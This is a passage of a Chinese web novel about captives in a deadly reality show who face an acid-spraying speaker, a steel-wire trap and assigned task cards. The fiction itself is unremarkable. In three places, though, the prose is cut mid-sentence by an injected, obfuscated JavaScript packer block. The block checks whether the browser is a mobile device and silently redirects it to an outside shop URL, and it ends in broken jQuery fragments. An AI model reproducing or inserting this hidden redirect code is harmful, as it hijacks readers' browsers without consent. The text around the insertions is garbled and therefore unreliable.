用水冲是对的,解了燃眉之急!只是这水从哪儿来的? 话说两个大杯子也很眼熟……童无垠认出来了,是长条餐桌上人手一个的水杯。 她当时为脱困还摔碎过一个。 那头,文自宇和高清如终于说服莎露移开手掌,用清水自上而下,冲洗并稀释她面部残存的硫酸。 伤势比想的还要严重。 饶是早有心理准备,童无垠还是倒吸了口冷气。 莎露的半张脸变得面目全非,皮肤色泽暗红发黑,失去弹性、薄得似皱巴巴、贴坏了的车窗膜,仿佛轻轻一掀就能露出底下的红肉肌理。颧骨肿胀处起了大大小小的水泡,灼伤严重。 上下两片唇瓣相接处血肉模糊不清,粘连在了一起,莎露想要说点什么,因为嘴张不开,一扯就疼痛难忍,所以听上去咕哝不清。 她面露急色,用力张口:“唔唔,那......里,唔机,关......” 用的力道过大,嘴皮撕裂、血“哗哗”流了一嘴。 高清如“哎呀”一声,也急了,安抚莎露先不要说话,免得把嘴扯坏了。 又向莎露报好消息转移她的注意力,诸如眼睛里没进硫酸,万幸万幸,之类的——虽然莎露很难这样乐观地去想。 清水冲刷脸颊,流入衣领,除了微弱水声,似乎还夹杂有喉间呜咽哀鸣。 众人只作什么都没有听到,仿若无人于此时软弱。 …… 被困一小时,人员接连重伤,他们一直在被迫跟着追梦人的节奏走。 破局点究竟在哪?! 莎露被暂时安顿好,童无垠转身研究音响去了。 开玩笑,一个会喷硫酸的音响,不能就晾在那里儿不管,得找出机关的触发方式。 音响有两个扬声器,上面的没瞧出异常,但下面那个就不太对劲了—— 外层起保护作用的金属网格上,残留着明显的硫酸溶液,不是一滴两滴,而是很多。并且看上去,不是从外面溅进来,而是从里边喷出去的。 就离谱,硫酸竟然是从下方那个扬声器里喷出来的。 正常音响的扬声器自然不会喷硫酸,唯一的可能,这是追梦人特意改造的。 已知空间中有机关,搜寻来往的人自然会小心谨慎,那要怎么做才会让心怀警惕的人也中招呢? 钻人思维上的空子。 ‘第一次见到’、‘看不清楚的‘、’不知道功能的‘,人们往往对这一类存在天然警惕,避而远之,就算有必要靠近搜索也会三思而后行。 音响不一样。 音响是大家都熟悉了解的事物,这是其一;追梦人说话的声音曾从这个音响中传出来,说明它不是摆设,而是实实在在能用的,这是其二。 至于第三点…… 她凑近观察,在心里模拟莎露当时可能在想什么、会做什么举动。 莎露碰音响,不像是为找道具——除非道具能藏到音响内部去,否则基本上就是一目了然的事情,没处藏啊。 更像是搜到这儿了,手随意摸摸碰碰,类似闲得无聊‘手痒’的感觉…… 这样的话,追梦人很可能会利用一些惯常的配件,作为机关开启的媒介:越是看似普通合理的行为,越有可能是他埋下的陷阱。 比如,电源开关、各种控制按键、拔/插电源线……. 童无垠从房间中央那条长餐桌上取了个盘子,肉菜倒在其他盘子里,把这个空出来,罩在下边那个扬声器上。 不用担心被硫酸突脸,没了后顾之忧,她率先尝试按下电源开关。 音响被关上了,除此以外无事发生,不是这个。 童无垠沉吟片刻,看向音量调节按钮,心里有种强烈的预感,脑海中有了画面:追梦人他设下这个机关一定希望能派上用场,最好他自己可以一定程度上’控制‘机关触发的契机,以在某个特定节点,将‘节目效果’推向顶点。 什么样的行为,是由追梦人做出来以后,可以起到引导作用的? 是音量。 追梦人可以突然提高音量到刺耳的程度,也可以在说关键信息时故意轻声细语,届时肯定有人耐不住,去调节音量。然后就会上了他的套! 应该不会错。 一前一后,童无垠分别按下带有‘+’和‘-’图标的音量键。 果不其然,硫酸就像被水枪“滋”出的水柱般,从扬声器处喷出,又被提前‘安排’的大瓷盘给尽数挡下。 找到了,降低音量键‘-’是假的,是硫酸机关的触发点。 …… “这个机关可以用”。 童无垠这句话是对林安宁、高清如说的,她俩和张木是这轮的「对对碰目标」。 二人还未开口说话,在一旁凑热闹、打逛子的庞洪先插了话:“你开啥国际玩笑?硫酸也,谁愿意挨这一下?!” 他三角眼微眯,有点咄咄逼人,再次强调了一遍:“你们谁愿意?” 高清如面色不佳:“不……我不行。”说完回头看了眼莎露,显然仍心有余悸。 林安宁双手环胸,眼神凌厉地剜了庞洪一眼,有种女boss气质,不过事实上她也是。 没有直接拒绝,却也没答应。 “再看看吧”,她这么说。 身上有种社会老油条的油滑:别人不愿吃亏,那为什么我要上? 童无垠“嗯”了声,表示理解,不愿强人所难。 新的这轮才过去几分钟,仍有时间,那扇大门也没来得及和常真一好好研究,大概率会有机关,运气好点说不定是伤害性更可控的机关…… “喂!!!你要干什么?!” 林志德的声音?众人猛然回头,查看从身后传来的动静是何缘由。 始作俑者又是庞洪。 就这么一溜神的功夫,就叫他跑餐桌那儿去了,要干什么? 童无垠定睛一看,他竟在推张木的凳子,连拉带拽的,一张木椅子被推出了轮椅的风格。 林志德坐在餐桌另一侧,断了手掌对他影响实在太大,此时还在歇息养神。他察觉出事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671531|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情不对劲,连连对庞洪怒喝: “你在做什么?快住手!” 但是来不及了,庞洪推着张木就往一个方向冲去—— 那有两个书架,不过摆放地相当古怪,不似一般靠墙摆放,而是如同图书馆那般:一个靠墙,另一个与之隔条过道的空间,摆放在空旷处。 推着张木往那儿去做什么? 张木…… 童无垠心下悚然,张木是本轮的‘目标’啊!庞洪,不会是要对他下手吧?! 椅子与地面摩擦发出刺耳的轧地声,没有轮子却移动得飞快,庞洪是下了死劲儿了。张木瘫软在椅子上,若非双手仍被绑缚着,早就从椅子上滚落了,此刻他被推着,面朝两个书架中间的过道,急速而去。 高清如眼尖,惊叫道:“有条反光的线!书架中间!” 那是一条钢丝,及腰高,横在两个书架之间。 庞洪他疯了……他想把张木往钢丝上推! ‘载着’张木的椅子、张木的咽喉,眼见距离钢丝就只差1米,半米……20厘米......! 惨剧即将发生,千钧一发之际,一双手牢牢地将椅子摁在了原地。 是常真一,为了能追上、阻止这一切,他跑得很急,胸口不住起伏,呼吸急促。 童无垠第一次见他那么生气,眼中似有凝寒的风暴在汇聚,一手提起庞洪的后衣领,将他甩飞出去。 他说:“滚远点,一会儿和你算账。” 大伙儿都聚在张木身边,还好赶上了,他没死,没有被钢丝直接扼断喉咙。 但也差不离了。 整张脸皮被钢丝对半划烂,血从整齐的切口留下,仿佛一副鲜血制成的口罩。 张木受伤,倒计时又刷新了。 在还剩11分钟之时。 林安宁上前指责庞洪:“你是不是疯了?想杀人吗?!” 那钢丝高度及腰,若真有人步伐迈得太急,走得太快,被划伤了也不会致命。 可张木是坐着的,那样高速地推动他,若不是常真一及时拦下来,就真没命了。 童无垠真想上前给庞洪两巴掌,但她忍住了,这对场上局势无益。 她不仅愤怒、且无语,“这是在做什么?你显然早就知道这处钢丝机关,为什么不说?还非要对张木动手?” 庞洪躺在地上,龇着牙狡辩道:“那不是那俩女人不愿意挨机关吗?!” “那是对硫酸机关不愿意!钢丝这个,本可以轻轻划伤就行。” 庞洪无力反驳,恼羞成怒:“md,你管我,现在至少有‘目标’被命中,我们不会扣分了。张木他也没死,这结果不也还行吗?!” 童无垠冷笑:“呵呵,你知道刚刚这轮只用了9分钟吗?” “这又怎么了?那第二轮也提前了呀,轮次早乱了!” “不!第二轮确实提前了,但也是用了10分钟。本来如果这一轮,能够在10分钟之后再重置,那所谓的第四轮其实就并不会真的造成扣分,轮次也就不会乱!” 庞洪没懂,闷头对峙:“你什么意思?” 林安宁恍然大悟:“她说的对……那样就根本不用管第四轮!第一轮的20分钟,加上第二轮的10分钟,再加上假设第三轮撑到11分钟,那就是41分钟。第四轮没有倒计时结束的机会,因为整个隐藏关卡一共才1小时,会先一步截止!” 庞洪:“我……我靠!你,你为什么不早说?!” 童无垠眼神冰冷地看着他,语气森然:“你听我说话了吗?你的愚蠢和残忍葬送了这个机会。” 11. Day 1「11」 气氛沉滞,庞洪一人躺在不远处,没人搭理。 被甩飞时,他不慎以脸着地,又‘贴地滑行’了一段,脸颊上火辣辣地痛。庞洪手抵着伤处压了压,再拿到眼前一看,手背印上了条条缕缕的血丝。 果然擦破皮了。 冷笑一声,庞洪顾自爬起来,扭头走向靠墙的书架,对着拉出钢丝的那块木板,作势就要抬脚猛踹。 常真一截住他,眼神如看一团垃圾。 庞洪气不打一处来:“你那是什么眼神?行,行,行!我发现的机关不让我破坏是吧?” 林志德失血的劲还没有彻底恢复过来,行动缓慢,这会儿才走到近前,瞧见张木惨状,对庞洪的厌恶瞬间达到了顶点。 “……厚颜无耻的东西,搞搞清楚,你差点害死了一个人!就没有点羞愧之心吗?!如今被困,不说患难与共吧,也不该下手这样残忍,现在还只想着机关的半分!” 庞洪翻了个白眼:“别tmd道德绑架我!我的机关我拿分,合情合理。” 又摊开手,一副爱莫能助的样子:“还有,你别天真了,这游戏从一开始就不是‘共赢’的,我只是在按照导演安排的节奏走……” “呵呵,导演……”林志德恨声道:“你就这么没骨气,让你干什么就干什么?” 自从手掌被机关轧断,林志德就对追梦人恨之入骨,右手整整五根手指啊,一根不剩,只留光秃秃的手掌!就算能活着离开这里,也变成了残疾人,以后只能用左手下棋。 庞洪这么说,无异于在雷点上蹦跶,激得林志德双眼通红:“难道你是狗吗?他叫你去死,你去不去?!” “艹,你骂谁是狗?!” 眼看场面就要失控。 童无垠走上前,在钢丝机关前倾身,伸手,细若纤毫的钢丝在食指上拉开了条小口。 她把指尖含在嘴里,淡淡的血腥味。 常真一蹰眉,紧接着视线落在她颈侧黯淡下来的红光上,眉头没松开,却了然道:“第四轮的‘目标’被机关伤到,下一轮不足20分钟,一切结束了。” “哈?结束了?”庞洪不敢相信,瞪着眼睛看童无垠,“那你还把我骂的狗血淋头,什么‘我的愚蠢葬送了机会’,我靠,这就解决了?!” 童无垠将受伤的手指蜷于掌心:“你的愚蠢行为没有导致不可挽回的后果,只是因为我们够幸运罢了:隐藏关卡机制,实际给我们留了很多条生路。可这次能解决,下次呢?还会这样好运吗?” 她声音凉凉:“而且一码归一码,杀人未遂,你会对张木下手,就有可能对其他人下手。既然你说是为了配合导演,那别忘记:真人秀一共7天,而现在,只是第1天。” 不想和庞洪再多做纠缠,童无垠特意把话说得很明白,不怕他听不懂。 “追梦人一心为了节目,而你只是提供效果的一环,他不在意你的死活。如果你想活下去,真正需要的是‘我们’——这群和你目标一致的人,之后还有那么多天、那么多游戏,没有我们你一个人能走多远?” “你现在该想的,是怎么重新让我们信任你。” 场面一片静默。 这事儿确实不该轻描淡写地揭过去,照现在这样发展,庞洪必然被众人敬而远之——总觉得若是游戏规则需要他动手杀人,他也会真的那样干。 庞洪张了张嘴,想反驳又说不出话来,脸色憋得涨紫:“行……你们人多势众。” 他虽是个混不吝的,但他认童无垠说的理:再不给个交代,后面‘路就难走了’,该怂的时候就得怂,脸算个什么东西? 抬手“啪啪”地往招呼了自己几个大耳刮子,脸上擦伤的地方,血糊了一脸。 庞洪面不改色:“是我不对,一时冲动,你们大人有大量,别和我计较。之后还要‘患难与共’呢……对吧?” …… 这件事的意外‘收获’,张木醒了,被疼醒的。 至少没有就那样一直昏迷下去,也算不幸中之大幸。 林安宁简单同他介绍了下现在的情况,无非就是要找道具,同时小心别被机关伤到,还有必须遵守的‘扣分规则’数条,因为被隐藏关卡的介绍内容挤出了投影画面,依照记忆,口头复述了一遍。 有个别记错的细节,也被其余人补充纠正了。 张木额头仍有虚汗,脸疼得他“嗷嗷”直叫,没心情细听,解绑后就急忙找道具去了。 众人再次四散分头行动。 此时已21点半,任务卡分配栏上还空空如也。 …… 回到大门处,门扉紧闭,毫不意外仍旧推不动。 两扇门之间有缝隙,大概半厘米宽,有隐约光线从外面透进来。 不知道是灯光,还是自然光,但不论哪个,门外都必有乾坤。 会有什么?会不会有人?通过这扇门,他们是否就能逃出去? 童无垠不可否认自己的脑海中闪回了这些念头。 门缝很宽,宽到完全可以趴在上面,把眼睛眯起来透过门缝看出去。 要不要,看看? 沉吟片刻,童无垠完全蹲下身,看见茂密杂草间的石板,石板是白色的,似乎被月光照亮,有些反光。外面的空间仍旧昏暗,却比他们所处的房间亮堂。 好像是室外啊...... 就在此时,一道黑影在视线中一晃而过,童无垠猛的后退,拉开距离。 瞳孔中还残留着一个尖细锥针的影子,刚刚,有什么东西冲着自己眼睛而来,慢上一拍,就刺进眼睛里了。 心跳砰砰作响,有活物。 要不是一直警惕着大门处会有机关,没有趴实,否则哪里反应地过来。 可单从视觉上,童无垠和常真一都没能看出大门的异样,如果真有机关且方才的黑影不是,那这门还藏得挺深的。 两人不敢大肆探查,不好说过程中摸到的东西,会不会就是机关触发点。 门的事情先放下,各自转而搜索起其他地方。 21点45分,传来追梦人的声音,不是从之前那个音响中,而是从屋檐上。 “友情提示,还有15分钟到任务卡分配截止时间,该放置任务卡了哦。” 众人从房间各处返回,重聚于投影屏幕旁、任务分配栏前。 除了文自宇。 他先跑到音响旁,左看右看,疑惑地“咦”了一声:“音响电源怎么关上了?怪不得导演声音的位置变了。” 想到些什么,他有点恍然地看向记忆中最后和这个音响近距离接触的人——童无垠,她研究完硫酸机关后,应该就没有别人再碰过了。 童无垠注意到他的视线,点了点头:“我关了电源,想看看这个音响如果不能用,追梦人会怎么做。不过果然,地面这个音响只是机关载体及诱饵,天花板上那个,应该才是真正要一直用的。他早有准备。” 张木“咳咳”清了几下嗓子,生硬打断两人对话:“时间紧,我们抓紧对对... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671532|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...大家都找到了什么?” 微妙的不快。 但这点情绪几乎是立刻释然,童无垠已经学会在不被踩底线的前提下,包容任何非预期内的人和事。 众人默契地都没有提及功能卡,只有高清如提了两嘴,笑容婉转地说她拿到的卡挺强的,可以“反弹”其他嘉宾对她的攻击,提醒大家注意,别“不小心触发”了。 这话说出来,哪怕不知道真假,除非万不得已,都不会轻易对她下手了。 童无垠直觉她说出这件事,就是打着“威慑”的主意,他们九个人,没有一个真正意义上的傻子啊。 聊到功能卡,都在打马虎眼,换成房间钥匙,众人又能毫无保留了。 钥匙上的数字果然是房间号,数字1到9,九把钥匙对应九人九个房间,一把不多一把不少,全被找出来了。 但不是每个人都有钥匙。 莎露和庞洪没有,他们的钥匙份额在其他人手里,有人找到了多把。 莎露面上蒙着块布,是从餐桌上随便扯的餐布,遮住脸上的伤痕。脸被硫酸所毁对她的打击太大了,到现在仍一蹶不振,任由高清如搀扶着她,听着她替自己着急要多余的钥匙,全程反应平平。 好似事不关己。 林安宁见她这样,叹了口气,掏出一把标号“9”的钥匙,递过去:“我有两把,这把给你吧。” “那个,我也缺钥匙,还有把多的在谁那?”庞洪挠着头扫视一圈,在一个人掌心中看到了躺着的两把钥匙,抬头一看,那人是童无垠。 童无垠在隐藏关卡第四轮结束之后,搜索又有不少发现,第二把钥匙就是其中之一。 庞洪心里泛苦,这钥匙在谁那里不好,在她那里......现在是真怵她啊。 估计不会那么痛快地把钥匙送给他。 “给你吧。” 庞洪莫名受宠若惊,这走向和以为的截然不同啊,还以为她会用钥匙再‘拿捏’他一回呢。 竟然很爽快地给了。 待钥匙到手,低头一看,好家伙,是数字“4”。 这…… “4”听着像“死”,不大吉利啊,他信这个,真住进去,夜里都睡不安稳。 庞洪舔着脸:“你把另一把给我呗……” 童无垠皮笑肉不笑:“不如这把也还我。” “诶,别别别……” 分完钥匙,剩的时间不多,得尽快分配任务。 任务栏的样式,出人意料的朴素,更像一个公告栏:上面标注了每个人的名字,名字下面是对应的塑料框,名片大小,侧面开了口子,可以将任务卡插进去。 每排三个名字,共三排,整整齐齐地,以九宫格的样式在任务栏上列着。 张木才醒不久,搜的时间最短,能找到一把房间钥匙,已经是时来运转、人品大爆发了。此时手里没有任务卡,心里一阵发虚。 谁会分给什么任务给他?等别人分出来,肯定是相较而言更差,挑剩下的。 他是没得选,但,可千万别是什么完成不了的…… 张木笑得有些勉强:“任务栏,大家都不放吗?” 话音刚落,有人往卡槽处插了张卡,似乎怕被人拦住,动作极快,一气呵成。 众人一愣,定晴看去,竟是放在了庞洪任务栏里,插卡人,还不是他自己。 庞洪也看到了,陡然间面如菜色,岂有此理。 这绝对是所有的任务当中……最差的! 12. Day 1「12」 不得不承认,追梦人的谋划是成功的—— 潜移默化间,嘉宾之间,还是有了猜忌。 庞洪推开挡道的人,冲向自己的任务栏,手放在开口处,打算把任务卡抽出来。 被常真一制止:“别动。固定规则‘三’,不能更改已放置的任务卡,违者扣3分。” 庞洪闻言一顿,手放在卡片边缘,硬生生停住了。 林志德没绷住:“你提醒他做什么?!” 不想叫人误会,以为是为自保而害人,他又补充道:“我现在没有任务卡了,你们随便给我分配,我不怕!我把卡放黄毛痞子那儿,就是要让他为自己的行为付出代价!仅此而已!” 话音刚落,脸上猛然挨了庞洪一拳,颧骨立时肿胀起来。 “艹,你以为自己是正义使者吗?把这种任务塞给我,是想害死我吗?我要是死了……你就是杀人凶手!”庞洪怒吼,又朝林志德挥出了第二拳。 众人及时赶来,将他拉开,这拳才没中。 林志德本就虚弱,就算第二拳没中,第一拳的威力已经够让他眼冒金星,站也站不住了。 歪扭着倒在地上,深棕色的拉链外套上沾满灰,整个人狼狈不堪。 张木站出来主持局面,两头安抚:一边谢过林志德打抱不平,他必感怀在心;一边叹息着劝庞洪冷静些,事已至此,只能想怎么完成任务了。 倒是个老好人形象,竟半点不计较庞洪之前对他下手的事。 任务栏上空荡荡,只有庞洪一人的、位于左下角,上头插着一张红底烫金字的任务卡。 【任务卡】 【结算时间:真人秀第二日22:00】 【任务内容:成为第二日游戏,全场评分倒数第一】 任务内容很吊诡,「倒数第一」不是什么人人争抢的好东西,只要摆烂,不怕当不了。但正因如此,它和“完成任务”产生矛盾了——一个不需要努力就能做到的事情,还能称之为任务吗? 怕不是没有好果子吃。 别到时,任务完成了,却还得受到成为当日游戏“倒数第一”的惩罚。 说到惩罚,童无垠总觉得有一个点之前被她忽略了。 是什么呢? 眉头微拢,转头看向投影画面——隐藏关卡结束后,内容又换回了“固定规则”。 《固定规则》 规则一:当日22:00前,所有找到的任务卡必须全部投放,违者扣3分; 规则二:截止当日22:00,无任务者扣1分,并由导演替无任务者分配当日任务; 规则三:不可以给任何人叠加任务卡,或更改已投放的任务卡,违者扣3分; 规则四:不可破坏脖颈处佩戴的接驳环,违者扣3分; 就是这个……! 「每日任务」在规则中占据篇幅颇巨,四条规则中有三条都提到,却唯独没有提到一点:如果每日任务失败,会产生什么后果。 童无垠不禁陷入思考,追梦人为什么不把这个放在固定规则里,难道说,失败的后果,不是“固定”的吗? 距离任务分配截止时间22点,只有五分钟不到了。 未免再被其他人抢先放了自己的空,有卡的纷纷上前摆放。 转眼剩下的,就只有没找到任务卡的张木,和把卡给了别人的林志德。 目前已分配完毕的共有7个任务,除开庞洪的,另外6个,分别是:童无垠「秘密预测谁是第一」、高清如「非公开任务」、及四个搜索类任务。 高清如惊异地“咦”了一声:“你们有没有发现,这几个任务好像有关联啊!” “唔,还真是!” 文自宇站在高清如身侧,五指紧握成拳,猛击另一手掌心,“四个搜索类任务,它们要寻找的‘字牌’,能连起来!” 他脸色微变:“连起来念,就是……” 林安宁:“杀人偿命。” 四个搜索任务:「找到“杀“字牌」、「找到“偿“字牌」、「找到“命“字牌」、「找到“人“字牌」。 重新排列顺序,可不就是“杀人偿命”么。 “哇嗷……”庞洪幸灾乐祸,捋了捋自己头顶杂乱的黄毛,“没想到你们的任务也这么劲爆,细品,值得细品。” 张木鼻梁上的眼镜,十秒钟内被他推了三次,脸颊肌肉都因为紧张而颤抖,他忍不住催促,同时不忘将姿态放得很低: “抱歉,打断一下,还有一分钟就要截止了……你们有多的任务卡吗?我和林兄还没有任务。” “嘻嘻,我倒是有一个。”庞洪扣了扣鼻子,吊儿郎当地从裤子口袋里掏出一张任务卡。 并未展示任务的具体内容,便直接将其插进了张木的任务栏之中。 猝不及防之下,张木面色大变:“哎,你!” 庞洪伸手做了个下压的动作,示意他别急,又双手一摊:“我给你这任务也不算差,等过会儿超时,让追梦人给你安排,那才是‘生死难料’,是吧?哈哈!” 张木推开他,看清任务内容: 【任务卡】 【结算时间:真人秀第二日22:00】 【任务内容:第二日游戏,达成“一份不扣”成就】 庞洪:“还不赖吧,是不是?” “劈啪——砰———!” 烟花声噼里啪啦地响起,众人对这烟花声并不陌生,毕竟昏迷后醒来,听到的第一个动静就是这个。 童无垠下意识朝挂钟看去,时间已经来到了22点整。 任务卡放置已截止,只有林志德还没有任务。 追梦人的脸又出现在投影屏上,他顶着油腻的乱发,一会儿不见胡子仿佛又长了些,整个人乱糟糟的,手里拿着一串烤肉。 这次不喝茶,改吃肉了,反正就是嘴上、手上没停过。 他热情高涨,一个劲儿地“呦吼,呦吼”,好似嘉宾们是他的至交好友,一刻不见如隔三秋:“第一日的游戏结束,愉快的结算开始啦!大家都还好吗~” 说完一顿,脸凑近镜头,眼神不知在瞄哪儿,嘴里念念有词:“诶,不行呀不行呀,怎么有个人没任务?!” 童无垠心想,追梦人那儿肯定有好多个分屏,能让他看到房间内各个视角的情况,例如现在,他应该就是在看能拍摄到“任务栏”的镜头。 林志德不知追梦人打算怎么“料理”他,一时冷汗直流,鬓角处凝的汗珠,快比眉尾处那颗痣都大了。 追梦人从烤串上咬下一大块肉,腮帮子一鼓一鼓地。 那肉肥瘦相间,加之他很享受林志德诚惶诚恐的模样,故意嚼了许久,直吃到满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671533|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴流油,才道:“算了,第一次我原谅你,就给你分配……这个任务吧!” “沙沙——” 纸张打印的声音。 “什么东西!”林志德被吓出哭腔,抬手拍打脖子,“什么东西在我的脖子上?!救命!! 一张红底金字的卡片,从林志德脖劲接驳环处“冒”了出来,严格来说,是从那条卡槽状的凹槽中,被打印出来的。卡纸边缘磨到皮肤,就是这痒意吓得他一惊一乍。 文字显露出来,是一个很“怪”的任务:「井下待满1小时」。 与此同时,童无垠的思维不受控制地发散了——实在是有太多槽点、太多疑问。 首先,接驳环得凹槽竟然还是一个微型打印机…… 其次,打印材料,诸如卡片、墨盒什么的,都存放在小小的接驳环里,怎么做到的?要是打印次数多了,材料用完怎么办? 打住打住。 她回过神来,发现林志德满脸是汗、喘着粗气地倒在常真一怀里,新鲜出炉的任务卡,也在常真一指尖夹着。 ……哈?什么情况? 就见常真一叹了口气,神色几分无奈,护着林志德受伤的右手,将他放倒在地,替他将任务卡插进槽中。 待一切完成,身形快退,找了面墙靠站着,这姿势于他而言,如同回到舒适区。常真一放松下来,扭头就看见童无垠的表情——她惊得下巴都要掉下来了。 童无垠挑眉,朝脸色羞赧的林志德挤了挤眼,又看回他。 什么情况??? 常真一也学着她挑眉,样子有点拽:“他吓腿软了,倒在我身上。你以为呢?” 嗯。童无垠点点头,一副受教了的样子,有点欠揍。 …… 给林志德发完任务卡后,追梦人留下一个讳莫如深的笑容和一声“晚安”,就又“下线”了。 晚上十点了,是该“晚安”了,但他们睡哪儿啊?这房间他们搜过,就这么点大,也没床没铺盖的,更何况房间钥匙还没用上呢…… 正纳闷,众人就听到机关启动的“咔嗒”声响。 隐约是从投影幕布后传来的。 此时投影灯已熄灭,范围内唯一的光源,只剩下餐桌上烛火。 其余的角落被浓稠的黑暗填满。 未知的动静,让从苏醒开始就如影随形的恐惧,未曾消退,却又攀高峰。 加之隐藏关卡「机关对对碰」在前,大家被“机关”搞怕了,这会儿面面相觑,都不敢上。 最后还是常真一打了头阵。 他找了根筷子摸黑探路,在幕布周围上敲敲、下打打,幕布还是那块幕布,没有变化。 机关在哪? 确认没有触碰类陷阱后,试着掀起幕布,后面是一堵墙,同样由青石堆砌而成,不过…… 昏暗中,常真一看到处不协调的阴影——部分墙,似乎陷下去了,轮廓在一片灰蒙中更深更黑。 用力一推,墙被推开了。 原来是一扇旋转门,应该是在机关开启后,这才能推动。 门后依旧是一片漆黑,隐隐有风吹来,那头空间似乎不小。 常真一嗓音清凌,在黑暗中莫名提神醒脑,让人不自觉地跟着一起冷静下来。 他说:“准备一下,跟着我,要进去了。” 13. Day 1「13」 投影幕布连带着同样大小的墙面,加在一起就是整扇的旋转门。 很厚重,推起来却没有滞涩感,并不费力。 应是近期新改装出来的——否则单凭青石墙面的斑驳触感、以及其位于室内都开始风化掉渣的保存状况来看,断没有独独旋转门保养得极佳的道理。 旋转门半径不够长,一次能过的人数有限。 可谁也不想掉队,九个人你踩我脚、我扯你衣服,意志在此刻达到了空前的统一——硬是挤作一团,同时转到了门的另一边。 “咔嗒”。 旋转门在众人身后合上,童无垠心里咯噔一下,回身伸手推了推。 还好,门并未再次锁死。 来到全新的空间,忐忑之余,最直观的感受就是—— 黑,纯粹的黑暗。 之前好歹还些蜡烛光,亮度虽聊胜于无,但不至于一丝光源也没有。 手伸到眼前,一点轮廓都看不出,彻底的伸手不见五指——就算大脑反复告诉你“真的有举手”,时间久了,也会因为视觉上的空无一物,而对自己产生怀疑。 众人被“硬控”在原地,不敢贸然迈开脚步。 庞洪啐了一口骂道:“狗日的,又是这种乌漆嘛黑的鬼地方!” 听到这话,林志德来劲了,嘲讽他:“鬼地方?我怎么记得你是个‘鬼屋测评师’什么的来着?鬼屋测得,到这儿就不行了是吧,还怕黑……不早该习惯了吗?呵呵,胆子这么小,怎么做测评的?” “我、艹!没完了是吧?我之前是有问题,但就算得罪人,也不是得罪的你啊?一个劲逮着我攻击啥意思?想打架?!” “就是看你不爽!”林志德仗着一片漆黑,谁也看不清谁,不怕庞洪真的冲过来打他,“除了害人就没用的家伙,缩头缩尾!有本事去开路,把灯找出来,我就还认你是个‘同伴’。” 庞洪忍无可忍,手指着林志德声音传来的方向,在空中恶狠狠地戳了几下,冷笑道:“真当你爷爷是吃素的?去就去!不过搞清楚……我不是稀罕做什么‘同伴’,而你呢,最好祈祷今后别遇上事,否则……看我踩不踩你丫的!” 放完狠话,庞洪憋着一口怒气,真的独自摸索起来,脚下木地板陈旧,踩在上面“吱嘎”作响——回音明显,他们所处的似乎是个狭长空间。 庞洪还是有点怯,行走间手臂来回挥舞探路,不过虽然移动龟速,但到底在前进。 众人屏息以待,黑暗中,身边人的呼吸与心跳声被无限放大…… 难道就这么等着?将决策权交给别人—— 这不是童无垠的风格。 通过旋转门进来这里之前,她心里有过猜测预期:追梦人已经宣布第一日游戏结束,按理说不该再有危险,这里大概率就是晚上休息的卧室才对。 她没有再待在原地,而是迈开脚步,沿着旋转门所在的墙面,一寸寸地摸着探寻起来。 回想起在挂钟旁发现的壁灯,依着印象中它的高度,童无垠的手也在相同的高度区间摸索。 走出一段距离,指尖突然触碰到一个坚硬的物体:纤细的金属杆身,入手微凉,有些生锈、触感涩手;指尖继续向上,触碰到玻璃灯罩,表面积满了灰尘。 童无垠略感振奋,找到光源了! 她正准备摸索开关的位置,突然,一团光在身后亮起——不同于之前房间里那种昏黄的色调,而是明亮的白炽光,瞬间点亮了她的视野。 在黑暗中待得久了,双眼难以适应突如其来的光线,一瞬间如有无数细小的针刺扎入眼瞳,泪水不受控制地在眼眶里打转。 缓了好一会儿,视野中模糊一片的景象才终于清晰起来。 壁灯的旋钮就在眼前,将其扭开,空间内的明亮程度更上一层,做完这些,童无垠这才转身看去。 并不是庞洪开的灯,而是常真一。 他估计也想到一块儿去了,沿着旋转门墙面的另一头找去,拧开的灯和童无垠身前这个,正好一左一右位于旋转门两侧。 …… 灯光亮起就没什么好怕的了。 众人打量起所处的地方:像是走廊。 旋转门正对着的又是一堵墙,不过不再是青石材质,而是水泥混着碎石砌成,覆着棕黄色作底、花草纹样的壁纸,颇有古韵古味。 三扇房门在墙上依次排开,门板顶端挂着号牌,分别是:04、05、06。 数字和房间钥匙上标注的对得上,是住宿房间无疑了。 庞洪站在众人与房门之间的位置,只走出不到两米的距离,面色有点尴尬,不过除了林志德对着他发出声嗤笑,其他人的注意力都没有放在他身上。 高清如神色一松,面部肌肉都舒展了,显得面容愈发娇美,她松懈地叹口气道:“太好了,可以睡觉了,终于……我真的累的不行……” 莎露眉头依旧紧皱:“只有这三间?其他的呢?” 她的房间钥匙是林安宁给的,号码9,这三间都不是她要找的。 张木左右观察,发现了什么:“这左右两边,好像是拐角啊,要不要去看看?” 